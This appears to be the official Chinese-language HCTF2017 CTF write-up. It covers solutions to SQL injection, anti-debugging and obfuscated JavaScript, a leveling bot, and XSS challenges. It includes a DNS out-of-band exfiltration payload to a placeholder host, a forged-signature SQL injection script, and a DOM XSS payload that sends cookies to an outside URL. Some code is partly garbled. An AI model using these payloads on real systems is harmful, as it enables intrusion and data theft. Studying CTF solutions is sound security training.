求G,D,H,H,-0 7 1的姿源!!!!!!

HCTF2017 Quals在11月12日正式落下帷幕了,我们很高兴HCTF的不断进步被人们看在眼里,HCTF2017第一次登陆CTFTIME,参加比赛并获得分数的队伍超过540只。
从HCTF创办以来,HCTF一直践行着做更好更棒的CTF比赛的准则,从2015年的反作弊系统、全新的比赛机制,到2016年的动态积分制,HCTF一直在努力将CTF变得更像一个hack game!
今年我们第一次引入了分方向的闯关机制,将比赛题目分为 bin、web和 extra 三个大类,每一大类有五关,只有满足每关的开放条件,才能开放该关。
尽管规则导致的结果不竟如人意,但我们仍然进步,HCTF仍在变得更好。
按照传统,所有题目的源码如下
下面放上所有官方Writeup
easy_sign_in
这个题目真的真的非常简单,连提示都非常的明显就是去查看证书的内容。 从证书中我们可以得到一条flag in: 123.206.81.217 或许有些浏览器显示的位置不一定是这样. 打开123.206.81.217 就可以看到 flag: hctf{s00000_e4sy_sign_in}
boring website
首先扫目录发现有www.zip,下载并打开发现是源码
echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work&br /&";
echo "flag is hctf{what you get}&br /&&br /&";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e-&getMessage() );
#echo "Connected to MySQL&br /&";
echo "Connected to SQL Server&br /&";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
$query = "select message from not_here_too where id = $id"; //link server: O
n linkname:mysql
$stmt = $conn-&query( $query );
if ( @$row = $stmt-&fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
发现应该是sql server用linkserver来连接mysql。所以去查了一波linkserver的用法,以及结合注释可得select * from openquery(mysql,'select xxx')可以从mysql数据库中查得信息,但是没有回显,sleep函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band,发现load_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。
最终的payload: /?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')
dnslog 平台可以自己搭也可以用ceye
Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b855a73bac97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
还是很抱歉题目的验证逻辑还是出现了不可逆推的问题,被迫在比赛中途加入4个hint来修复问题,下面我们来慢慢看看代码。
整个题目由反调试+代码混淆+逻辑混淆3部分组成,你可以说题目毫无意义完全为了出题而出题,但是这种代码确实最最真实的前端代码,现在许多站点都会选择使用反调试+混淆+一定程度的代码混淆来混淆部分前端代码。
出题思路主要有两篇文章:
整个题目主要是在我分析chrome拓展后门时候构思的,代码同样经过了很多重的混淆,让我们来一步步解释。
第一部分是反调试,当在页面内使用F12来调试代码时,会卡死在debugger代码处。
这里举个例子就是蘑菇街的登陆验证代码。
具体代码是这样的
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));
(function () {
(function a() {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {}).constructor('debugger')()
} catch (e) {
setTimeout(a, 5000)
这就是比较常见的反调试。我这里提供3种办法来解决这步。
1、使用node做代码调试。
由于这里的debugger检测的是浏览器的调试,如果直接对代码调试就不会触发这样的问题。
2、静态分析
因为题目中代码较少,我没办法把代码混入深层逻辑,导致代码可以纯静态分析。
3、patch debugger函数
由于debugger本身智慧触发一次,不会无限制的卡死调试器,这里会出现这种情况,主要是每5s轮询检查一次。那么我们就可以通过patch settimeout函数来绕过。
window._setTimeout = window.setT
window.setTimeout = function () {};
这里可以用浏览器插件TamperMonkey解决问题。
除了卡死debug以外,我还加入了轮询刷新console的代码。
setInterval("window.console.log('Welcome to HCTF :&')", 50);
同样的办法可以解决,就不多说了。
在去除掉这部分无用代码之后,我们接着想办法去除代码混淆。
这里最外层的代码混淆,我是通过做了混淆。
ps:因为我在代码里加入了es6语法,市面上的很多工具都不支持es6语法,会导致去混淆的代码语法错误!
更有趣的是,这种混淆是不可逆的,所以我们只能通过逐渐去混淆的方式来美化代码。
我们可以先简单美化一下代码格式
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
function check(_0x5b7c0c) {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0xx2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0xx5e8f1a];
_0x2d59cf = function () {
return _0xa180('0x2b');
_0x46da6f = 0x1;
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0xxa180('0x4')](_0x3291b7['shift']());
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0xx10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 & _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
return _0x52b956;
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1ce1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1ce1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 & 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
_0x4a199f += 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 & _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) && 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) && 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) && 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) && 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) && 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) && 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) && 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) && 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) && 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) && 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) && 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 & _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 & _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
_0x4dc510(++_0x460a91);
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
return _0x4dc510[_0xa180('0x31')]('');
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^
if (f != 0x4315332) {
return ![];
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a & _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x2c466e[_0x2fbf7a]);
return _0x3ea581;
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
k = _0xffcc52 =& _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
m = _0x1ce1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n %
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace & _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25
return _0x55b09f;
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
o = _0x1ce1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
代码里主要有几点混淆:
1、变量名替换,a --&
_0xd4b7d6,这种东西最烦,但是也最简单,批量替换,在我看来即使abcd这种变量也比这个容易读
2、提取了所有的方法到一个数组,这种也简单,只要在chrome中逐步调试替换就可以了。
还有一些小的细节,很常见,没什么可说的
"s".length()
--& "s"['length']()
最终代码可以优化到这个地步,基本已经可读了,下一步就是分析代码了。
function check(flag){
var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}(_, base%123));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _[a];
var s2h = function(str){
var result = "0x";
for(var i=0;i&str['length'];i++){
result += str['charCodeAt'](i)['toString'](16)
var b = flag['split']("_");
var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i & (5 - leftover); i++) {
s += '\x00';
quanta += 1;
for (i = 0; i & i++) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) && 3));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) && 2) | (s['charCodeAt'](i * 5 + 1) && 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) && 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) && 4) | (s['charCodeAt'](i * 5 + 2) && 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) && 1) | (s['charCodeAt'](i * 5 + 3) && 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) && 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) && 3) | (s['charCodeAt'](i * 5 + 4) && 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i & i++)
parts.pop();
for (i = 0; i & i++)
parts.push("=");
return parts.join("");
e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
if(e != 0x4b7c0a73){
f = s2h(b2c(b[3])['split']("=")[0]) ^
if(f != 0x4315332){
n = f*e*b[0]['length'];
h = function(str, func){
var result = "";
for(var i=0;i&str['length'];i++){
result += func(str[i])
j = b[1]['split']("3");
if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
k = str =& str['charCodeAt']()*b[1]['length'];
l = h(j[0],k);
if(l!=0x2f9b5072){
m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i&j;i++){
if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
return false
o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;
return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
剩下的代码已经没什么可说的了。
1、首先是确认flag前缀,然后按照_分割为5部分。
2、g函数对基础数组做了一些处理,已经没什么懂了。
3、s2h是字符串到hex的转化函数
4、第一部分的验证不完整,导致严重的多解,只能通过爆破是否符合sha256来解决。
5、后面引入的b2c函数很简单,测试就能发现是一个base32函数。
6、第三部分和第四部分最简单,异或可得
7、h函数会对输入的字符串每位做func函数处理,然后拼接起来。
8、第二部分由3分割,左右两边长度相等,同样可以推算出结果。
9、k是我专门加入的es6语法的箭头语法,对传入的每个字母做乘7操作。
10、最后一题通过简单的判断,可以确定最后一部分的前四位。
11、u函数返回指定字符串的指定前几位
12、剩下的就是一连串的条件:
13、首先是一些很关键的的重复位,由于我写错了一些东西,导致这里永远是false,后被迫给出这几位.!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1
14、最后一部分是集合长度、以及部分条件完成的,看上去存在多解,但事实上是能逆向出来结果的。
当我们都完成这部分的时候,flag就会被我们解出来了。
这次想以游戏安全出一些题目,但是又担心出的太难,大家没做过类似的游戏漏洞挖掘(其实是为了偷懒),就出了一道战斗频率没有限制的刷级漏洞。这是一个去掉充值功能以外完整的游戏,我去掉了后台对于加速器的检测机制。
提示给的很明显,在flag.php里提示了
getFlag when you are at level 100!!!
升到一百级就可以拿到flag,但是比赛时间的48个小时正常情况下不吃不喝也是升不到100级的,ctf本来就是一个hack game,所以需要分析他的游戏机制。这个版本的poker2没有战斗频率限制,可以高速无限战斗,脚本很简单,但是还需要分析游戏的细节。众多野怪地图里有一个叫圣诞小屋的挂机地图,伤害低经验高,写好挂机脚本还是很简单的。
import requests
from time import sleep
host = "petgame.2017.hctf.io"
headers = {
"Cookie":"PHPSESSID=c4gn8hav06nsv43bo65tlfkto3"
def getFight(host, headers):
url = "http://"+host+"/function/Fight_Mod.php?p=37&bid=5226&rd=0.6844"
req = requests.get(url = url, headers = headers)
html = req.content
gid = re.findall("gg=\[.*,(.*)\]",html)
if len(gid)&0:
gid = gid[0]
attack(gid, 4, host, headers)
return False
def attack(gid, times, host, headers):
url = "http://"+host+"/function/FightGate.php?id=1&g="+str(gid)+"&checkwg=checked&rd=0.93186"
for i in xrange(0,times-1):
req = requests.get(url = url, headers = headers)
html = req.content
print html
while True:
getFight(host,headers)
sleep(0.1)
#attack(86,url,headers)
其实还有其他解法,就是在poker-poker一题中找到注入点,如果有一百级的玩家的密码是弱口令(md5可查)则可以进入其他人账号获得flag。我特意把poker2一题放在第二层,poker-poker在第三层,但是还是有人找到了非预期的注入点(注册处),提前获取了别人的session,在我删除一百级账号前获得flag。
poker-poker
这题就比较难受了,看了大家传上来的wp,没有一份是预期解。由于游戏程序比较多,我也没全部看过,就找了一处隐蔽的有回显注入点,但是有一些前置条件。
题目提示是pspt,访问发现跳转到pspt/并且状态403,说明存在pspt目录。
pspt目录下存在robots.txt。
Disallow: /pspt/inf/queryUserRole.php
Sitemap: http://domain.com/sitemap.xml
直接访问/pspt/inf/queryUserRole.php提示error1。该目录下存在.bak文件,泄漏了源码。
require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php');
if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) {
die('error1');
$time = time();
if ($_GET['valid_date'] &= $time) {
die('error2');
$encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM';
$flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey);
if ($flag != $_GET['sign']) {
die('error3');
$arr = $_pm['mysql'] -& getOneRecord("SELECT id,nickname FROM player WHERE name = '{$_GET['user_account']}'");
if (!is_array($arr)) {
die('error4');
$str = $arr['id'].'&'.$arr['nickname'];
$newstr = iconv('utf8','utf-8',$str);
unset($time,$arr,$str);
此处泄漏了encryKey,只要有这个encryKey,我们可以根据源码写出注入payload。
import requests
import time
import hashlib
import urllib2
def getMd5(data):
data = str(data)
t = hashlib.md5()
t.update(data)
return t.hexdigest()
def hack(payload="admin"):
user_account = urllib2.quote(payload)
valid_date = int(time.time())+10000
sign = getSign(user_account, valid_date)
url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign
req = requests.get(url = url)
print req.content
def getSign(user_account, valid_date):
user_account = urllib2.unquote(user_account)
encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'
sign = getMd5(str(user_account) + str(valid_date) + encryKey)
return sign
hack("adminss' union all select 111,flag from hctf.flag2#")
flag就在hctf库里的hctf2表里。
而大家找到的其他注入点
A World Restored & A World Restored Again
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞,为了能尽可能的模拟真实环境,我这个不专业的Web开发只能强行上手实现站库分离。
其中的一部分非预期,也都是因为站库分离实现的不好而导致的。(更开放的题目环境,导致了很多可能,或许这没什么不好的?
整个站的结构是这样的:
1、auth站负责用户数据的处理,包括登陆验证、注册等,是数据库所在站。
2、messbox站负责用户的各种操作,但不连接数据库。
这里auth站与messbox站属于两个完全不同的域,受到同源策略的影响,我们就需要有办法来沟通两个站。
而这里,我选择使用token做用户登陆的校验+jsonp来获取用户数据。站点结构如下:
简单来说就是,messbox登陆账号完全受到token校验,即使你在完全不知道账号密码的情况下,获取该token就可以登陆账号。
那么怎么获取token登陆admin账号就是第一题。
而第二题,漏洞点就是上面文章中写的那样,反射性的domxss,可以得到服务端的flag。
为了两个flag互不干扰,我对服务端做了一定的处理,服务端负责处理flag的代码如下:
$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
可以很明显的看出来,flag1是httponly并在messbox域下,只能登陆才能查看。flag2我设置了check位,只有bot才会访问这个页面,这样只有通过反射性xss,才能得到flag。
下面我们回到题目。
A World Restored
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
这道题目在比赛结束时,只有7只队伍最终完成了,非常出乎我的意料,因为漏洞本身非常有意思。(这个漏洞是ROIS发现的)
为了能够实现token,我设定了token不可逆的二重验证策略,但是在题目中我加入了一个特殊的接口,让我们回顾一下。
auth域中的login.php,我加入了这样一段代码
if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "&script nonce='{$random}'&window.location.href='".$n_url."?token=".$usertoken."'&/script&";
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "&script nonce='{$random}'&window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'&/script&";
这段代码也是两个漏洞的核心漏洞点,假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面,那么因为未登录,页面会跳转到auth域并携带n_url,如果获取到登陆状态,这里就会拼接token传回messbox域,并赋予登陆状态。
简单的流程如下:
未登录-&获取当前URL-&跳转至auth-&获取登陆状态-&携带token跳转到刚才获取的URL-&messbox登陆成功
当然,这其中是有漏洞的。
服务端bot必然登陆了admin账号,如果我们直接请求login.php并制定下一步跳转的URL,那么我们就可以获取拼接上的token!
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}
得到token我们就可以登陆messbox域,成功登陆admin
A World Restored Again
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
到了第二部,自然就是xss了,其实题目本身非常简单,在出题之初,为了避免题目出现“垃圾时间”(因为非预期导致题目不可解),我在题目中加入了跟多元素。
并把flag2放置在.2017.hctf.io域下,避免有人找到messbox的xss但是打不到flag的问题。(没想到真的用上了)
这里我就简单描述下预期解法和非预期解法两个。
预期解法当然来自于出题思路。
漏洞本身非常简单,但有意思的是利用思路。
当你发现了一个任意URL跳转的漏洞,会不会考虑漏洞是怎么发生的?
也许你平时可能没注意过,但跳转一般是分两种的,第一种是服务端做的,利用header: location,这种跳转我们没办法阻止。第二种是js使用location.href导致的跳转。
既然是js实现的,那么是不是有可能存在dom xss漏洞呢?
这个uber的漏洞由来就是如此。
这里唯一的考点就是,js是一种顺序执行的语言,如果location报错,那么就不会继续执行后面的js,如果location不报错,那么就可能在执行下一句之前跳转走。
当然,办法很多。最普通的可能是在location后使用stop()来阻止跳转,但最好用的就是新建script块,这样上一个script报错不会影响到下一个script块。
最终payload
&/script&&script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.//"&&/script
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
非预期解法
